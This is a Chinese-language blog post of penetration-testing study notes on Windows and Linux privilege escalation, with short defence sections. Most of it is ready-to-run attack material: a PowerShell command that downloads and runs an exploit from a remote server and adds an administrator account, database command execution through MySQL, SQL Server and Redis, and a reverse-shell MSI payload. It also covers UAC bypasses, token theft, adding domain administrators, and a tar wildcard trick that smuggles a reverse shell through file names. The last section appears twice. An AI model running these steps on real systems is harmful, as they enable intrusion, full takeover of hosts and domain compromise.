内网渗透学习03——权限提升分析与防御

目录

    • 0x00 缺失补丁发现
      • 1. 命令查询补丁
      • 2. 工具查询补丁
      • 3. 其他补丁查询工具
    • 0x01数据库提权
      • 1. mysql数据库
      • 2. SQL Server 数据库提权
      • 3. Redis提权
      • 4. PostgreSql 数据库提权
    • 0x02 windows操作系统配置错误
      • 1. PowerUp
      • 2. AlwaysInstallElevated 提权
      • 3. Metasploit service_permissions利用
      • 4. 可信服务路径漏洞
    • 0x03 组策略首选项提权
      • 1. SYSVOL
      • 2. Group.xml
      • 3. 密码破解方式
      • 4. 组策略首选项提权的防御措施
    • 0x04 绕过UAC提权和防御
      • 1. 需要UAC的授权才能进行的操作列表如下:
      • 2. UAC有如下四种设置要求:
      • 3. metasploit bypassUAC
      • 4. 其他 bypassuac
      • 5. 针对绕过UAC提权的防御措施
    • 0x05 令牌窃取分析防范
      • 1. 令牌窃取
      • 2. ms16-075烂土豆 提权
      • 3. DLL结合令牌窃取提权
      • 3. 添加域管理员
    • 0x06 Linux提权
      • 1. 本地信息收集
      • 2. SUID提权
      • 3. 内核漏洞提权
      • 4. 定时任务提权

0x00 缺失补丁发现

1. 命令查询补丁

systeminfo
Wmic qfe get Caption,Description,HotFixID,Installedon
内网渗透学习03——权限提升分析与防御_第1张图片
查询指定补丁
Wmic qfe get Caption,Description,HotFixID,Installedon | findstr /C "KB2999226"

2. 工具查询补丁

利用 Metasploit 中的 post/windows/gather/enum_patches
wesng

  • 下载链接 https://github.com/bitsadmin/wesng
  • 更新漏洞库:python wes.py --update
  • 查找漏洞:python wes.py patches.txt(patches.txt内容为systeminfo命令结果)

内网渗透学习03——权限提升分析与防御_第2张图片
PowerShell中的Sherlock脚本

  • 下载链接:https://github.com/rasta-mouse/Sherlock
  • 导入:Import-Module c:\Sherlock.ps1
  • 查找漏洞:Find-AllVulns

3. 其他补丁查询工具

Vlumap(更适用于Linux)https://github.com/zhzyker/vulmap
WindowsVulnScan https://github.com/chroblert/WindowsVulnScan
ms16-032提权漏洞
影响范围:

Windows Vista
Windows 7
Windows 8.1
Windows 10
Windows 2008 Server
Windows 2012 Server

漏洞复现:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://VPS/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup administrators px /add'"

内网渗透学习03——权限提升分析与防御_第3张图片

0x01数据库提权

如果在操作系统层面,没有可利用的提权漏洞可以尝试数据库提权。利用数据库提权的前提条件是:服务器启用数据库并且获取到数据库最高权限密码。

1. mysql数据库

数据库密码获取

  • 读取网站配置文件, sql data config conn database common include 等
  • 读取数据库存储文件, **data/mysql/user.MYD **文件存储mysql数据用户密码文件

image.png

  • 暴力破解

UDF提权
UDF提权之前先要确定MYSQL版本 和 MYSQL安装目录
select version(); select @@basedir();

  • 版本>=5.1 在 mysql安装目录下 创建 /lib/plugin/ 目录 写入或者上传 .dll
  • 版本< 5.1 将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。

创建 /lib/plugin目录
创建目录有两种方式

  • 使用NTFS ADS流模式突破进而创建文件夹 (一般没有权限会失败)
  • 直接使用 webshell工具创建

直接使用 Webshell :创建/lib/plugin/ 文件夹成功后直接使用上传 .dll 文件 根据mysql位数选择 .dll文件
创建函数 (从.dll文件中引入 自定义函数)
create function sys_eval returns string soname 'udf.dll';
查看函数是否创建
select * from mysql.func where name = 'sys_eval';
使用函数执行系统命令
select sys_eval('whoami');
select sys_eval('net user box /add');
select sys_eval('net localgroup administrators box /add');
删除函数
drop function sys_eval;
delete from mysql.func where name='sys_eval';
MOF提权
成功率不高
https://www.cnblogs.com/xishaonian/p/6384535.html

启动项提权
前提:允许数据库 root 用户远程连接 确保 secure_file_priv= 可以对MySQL导入导出
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;
show global variables like '%secure%';
内网渗透学习03——权限提升分析与防御_第4张图片
使用 Metasploit
exploit/windows/mysql/mysql_start_up 模块 在启动项目录下上传后门程序

2. SQL Server 数据库提权

使用xp_cmdshell组件进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开

-- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 关闭 xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

-- 执行:
EXEC master.dbo.xp_cmdshell '命令'


-- 如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

开启 xp_cmdshell 之后,再次执行EXEC master.dbo.xp_cmdshell 'whoami'命令,成功提权到system权限。
** 使用sp_oacreate 组件提权**

-- 执行命令后,报错提示 sp_oacreate组件 被关闭
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

-- 开启  sp_oacreate
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   

-- 关闭  sp_oacreate
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 0;   
RECONFIGURE WITH OVERRIDE;  

使用 SQL Server沙盒提权

-- 关闭沙盒
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

-- --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';

-- 执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user qianxun 123456 /add")')


-- 恢复配置
exec master..xp_regwrite 'HKEY_LOCALMACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;

3. Redis提权

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

利用计划任务执行命令反弹shell

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

4. PostgreSql 数据库提权

CVE-2018-1058 提权漏洞
CVE-2019-9193高权限命令执行

0x02 windows操作系统配置错误

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用执行文件。因此,如果一个低权限的用户对此类型服务调用的可执行文件拥有写权限,就可以将该文件替换为任意可执行文件,并随着系统服务获取系统权限。Windows服务是以System权限运行的,虽然其文件夹、文件、注册表键都是受强访问控制机制波保护的。但是,在某些特殊情况任然存在一些没有得到有效保护的服务。
系统服务权限配置错误:

  • 服务未运行:攻击者会使用任意服务来替换原来的服务,然后再重启服务。
  • 服务正在运行且无法被终止:这种情况符合大多数的漏洞利用场景,攻击者可以利用DLL劫持技术尝试重启服务来提权。

1. PowerUp

Powerup是本地特权提升的一些调用方法,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权,也是 PowerShell Empire和PowerSploit 的一部分。
下载地址:[https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1]

  1. Invoke-AllChecks 检测所有存在配置缺陷

内网渗透学习03——权限提升分析与防御_第5张图片

  1. Find-PathDLLHijack:检查当前%PATH%是否存在哪些目录是当前用户可以写入的。
  2. Get-ApplicationHost:从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。
  3. Get-RegistryAlwaysInstallElevated:检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。
  4. Get-RegistryAutoLogon:检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。
  5. Get-ServiceDetail -ServiceName ServiceNmae:返回某服务的信息。
  6. Get-ServiceFilePermission:检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。

更多用法参考:[https://blog.csdn.net/l1028386804/article/details/86089574]

2. AlwaysInstallElevated 提权

注册表键 AlwaysInstallElevated
AlwaysInstallElevated 是一个策略设置选项。Windows允许低权限用户以System权限运行安装文件。即如果开启这个选项,那么任何用户都可以以 **NT AUTHORITY\SYSTEM **权限来安装恶意MSI文件。

判断是否开启 AlwaysInstallElevated
注册表键值判断:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

powerUp判断

Get-RegAlwaysInstallElevated

激活 AlwaysInstallElevated

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

提权

# 生成一个远控msi
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.170 lport=4444 -i 3 -e x86/shikita_ga_nai  -f msi -o shell.msi
# 安装运控  /quite 在安装过程中禁止向用户发送消息  /qn 不适用 GUI
msiexec /q /i shell.msi

内网渗透学习03——权限提升分析与防御_第6张图片

3. Metasploit service_permissions利用

当我们获取到一个 meterprter 会话后,使用service_permissions进行提权。
设置好会话编号
内网渗透学习03——权限提升分析与防御_第7张图片
执行 exploit 获得一个新的 meterprter 会话(system权限)
内网渗透学习03——权限提升分析与防御_第8张图片

4. 可信服务路径漏洞

可信服务路径漏洞利用Windows文件路径解析特性,并涉及服务路径的文件、文件夹权限。如果一个服务调用一个可执行文件没有正确的处理引用完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么就存在该漏洞。

  • 如果路径服务有关,创建一个服务或者编译Service模板
  • 如果路径域可执行文件有关,就任意创建一个可执行文件

查看服务对应的路径包含空格且没有被引号引起来

  • wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\windows\\" | findstr /i /v """
  • 检测是否有对目标文件夹的写权限 :icacls "c:\program Files\grogram folder"
    • Everyone:(OI)(CI)(F)
      • (M) 修改
      • (F) 完全控制
      • (CI) 从属容器将继承访问控制基
      • (OI) 从属文件将继承访问控制基
    • 确认存在漏洞后,把要上传的程序重命名并放置在此漏洞且可写的目录,尝试重启服务
    • sc stop service_name
    • sc start service_name
  • msf trusted_serivce_path模块

0x03 组策略首选项提权

Windows 2008 Server引入了一项称为组策略首选项的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。

1. SYSVOL

SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。
所有的组策略均存储在如下位置::\\SYSVOL\Policies\

2. Group.xml

管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,即Groups.xml,该文件中保存了该组策略更新后的密码。
内网渗透学习03——权限提升分析与防御_第9张图片此密码的加密方式为AES-256。尽管此加密十分难以破解,但是微软公司将其加密的密钥公开了。
The 32-byte AES key is as follows:

4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

3. 密码破解方式

gpp-decrypt 命令
image.png
Get-GPPPassword.ps1
内网渗透学习03——权限提升分析与防御_第10张图片

4. 组策略首选项提权的防御措施

在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,针对Everyone访问权限进行设置,具体如下:
1、设置共享文件夹SYSVOL的访问权限 2、将包含组策略密码的 XML 文件从 SYSVOL 目录中删除 3、不要把密码放在所有域用户都有权访问的文件中 4、如果需要更改域中机器的本地管理员密码,建议使用LAPS

0x04 绕过UAC提权和防御

UAC(UserAccount Control,用户账户控制)时微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者可能影响其他用户设置之前,应拥有相应的权限或者管理员密码。UAC在操作之前对用户身份进行验证,避免恶意软件在未经许可的情况下在计算机上进行安装操作或者对计算机进行更改。

1. 需要UAC的授权才能进行的操作列表如下:

  • 配置Windows Update
  • 增加、删除账户
  • 更改账户类型
  • 更改UAC的设置
  • 安装ActiveX
  • 安装、卸载程序
  • 安装设备驱动程序
  • 将文件移动/复制到Program Files或Windows目录下
  • 查看其它用户的文件夹

2. UAC有如下四种设置要求:

  • 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
  • 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
  • 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
  • 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

3. metasploit bypassUAC

bypassuac模块
该模块通过进程注入使可信任发布者证书绕过Windows UAC,使用时需要保证UAC设置为默认(仅在程序试图更改我的计算机时通知我
当获取一个普通权限的meterprter shell是,尝试权限提升。直接执行 getsystem 提权失败。使用 use exploit/windows/local/bypassuac 模块设置session 获取一个新的 meterprter shell ,再次getsystem 权限提升。
内网渗透学习03——权限提升分析与防御_第11张图片
bypassuac_injection 模块
此模块通过内存注入使用可信任的发布者证书绕过UAC(该模块需要选择正确的体系架构)直接运行在内存的反射DLL中,降低了触发杀软的概率。内网渗透学习03——权限提升分析与防御_第12张图片
内网渗透学习03——权限提升分析与防御_第13张图片bypassuac_eventvwr / bypassuac_fodhelper模块提权
通过当前用户配置单元下劫持注册表中特殊的键并插入将在启动Windows时间查看器 / fodhelper.exe应用程序时调用自定义命令来绕过UAC。
RunAs模块提权
使用 exploit/windows/local/ask 模块,创建一个可执行文件,目标机器发起提权请求(需要受害者配合),目标机器会弹出UAC对话框,当时受害者确认运行时就返回mtererprter shell。

4. 其他 bypassuac

Nishang 中 Invoke-PsUACme模块

Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose  #使用sysprep方法并执行默认的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose  #使用oobe方法并执行默认的payload

Empire bypassuac
usemodule privesc/bypassuac 模块

5. 针对绕过UAC提权的防御措施

在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。
使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在Windows Vista中一样,总是弹出警告)。

0x05 令牌窃取分析防范

令牌(Token)是指系统的临时密钥,相当于账号密码,用于决定是否允许当前请求以判断当前请求是哪个用户的。即获得某个令牌就相当于获得了某个用户权限,可以凭借令牌访问网络资源。这些令牌存放于系统中。
令牌的最大特点就是随机性和不可预测性。一般攻击者或软件都无法猜测出令牌。访问令牌(Access Token)代表访问控制操作主体的系统对象,密保令牌(Security Token)也叫做认证令牌后者硬件令牌,是一种用于实现计算机身份验证的如理设备,例如U盾。会话令牌(Session Token)是交互会话唯一的身份标识。
**注意:**一般适用于WIndows server 2008以及之前操作系统

1. 令牌窃取

# 载入 incognito
meterpreter > use incognito
# 列出 可用令牌 Delegation Token 为授权令牌,支持交互式登录;另一种是Impersonation Token 为模拟令牌
meterpreter > list_tokens -u
# 假冒Administrator 用户
meterpreter > impersonate_token WIN-7TM72GAAEEU\\Administrator

内网渗透学习03——权限提升分析与防御_第14张图片

2. ms16-075烂土豆 提权

使用 use exploit/windows/local/ms16_075_reflection_juicy 模块
实现 IIS APPPOOL\ueditor -> NT AUTHORITY\SYSTEM提权提升
内网渗透学习03——权限提升分析与防御_第15张图片

3. DLL结合令牌窃取提权

第三方程序->进程显示->选择可替换的DLL文件->生成恶意DLL->替换原有DLL->等待程序启动加载恶意DLL->令牌窃取

3. 添加域管理员

使用 meterprter会话 输入 "ps"命令列出系统进程。找到域管理进行,使用 migrate命令迁移到该进程,在meterprter会话控制台输入 “shell” 进入 CMD界面。
CMD界面添加域用户

# 添加用户
net user username password /add domain
# 加入 域管理员组
net group "domain admins" /domain

直接在 meterprter会话使用 incognito 来模拟域管理员,然后添加域管理员
meterprter 中添加域管理员

# 添加用户
add_user username password -h host
# 加入 域管理员组
add_group_user "Domain Admins" username -h host

0x06 Linux提权

1. 本地信息收集

自动化脚本信息收集
LinEnum https://github.com/rebootuser/LinEnum
漏洞探针
linux-exploit-suggester

2. SUID提权

SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文 件。例如,Linux ping命令通常需要root权限才能打开网络套接字。通过将ping程 序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权 执行ping。
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位 上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户 特权。它可以是root用户,也可以只是另一个用户。如果在程序中设置了suid,该位 可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权。

以下是用于产生 shell的程序

nmap
vim
less
more
nano
cp
mv
find

查找suid和guid文件

find / -perm -u=s -type f 2>/dev/null

内网渗透学习03——权限提升分析与防御_第16张图片
使用find进行提权

# 创建一个文件 test123
touch /tmp/test123
find / -name test123 -exec whoami \;

image.png

3. 内核漏洞提权

脏牛漏洞 CVE-2016-5195
exp 连接 https://github.com/gbonacini/CVE-2016-5195
编译;
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

4. 定时任务提权

通配符引起的提权
查看现有计划任务
内网渗透学习03——权限提升分析与防御_第17张图片
这是一个定时备份的计划任务,打包 /home/www/test 目录下的所有文件,利用 tar命令特性可以实现提取
在 /home/www/test 目录下

# 反弹shell的文件
echo "bash -i >& /dev/tcp/ip/port 0>&1" > shell.sh 

# 创建两个文件特殊命名 由于压缩使用了通配符 将下面两个文件名解析成 tar命令的参数 实现命令执行
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh shell.sh" 


内网渗透学习03——权限提升分析与防御_第18张图片

任务提权
通配符引起的提权
查看现有计划任务
内网渗透学习03——权限提升分析与防御_第19张图片
这是一个定时备份的计划任务,打包 /home/www/test 目录下的所有文件,利用 tar命令特性可以实现提取
在 /home/www/test 目录下

# 反弹shell的文件
echo "bash -i >& /dev/tcp/ip/port 0>&1" > shell.sh 

# 创建两个文件特殊命名 由于压缩使用了通配符 将下面两个文件名解析成 tar命令的参数 实现命令执行
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh shell.sh" 

内网渗透学习03——权限提升分析与防御_第20张图片

你可能感兴趣的:(内网渗透学习笔记,安全,web安全)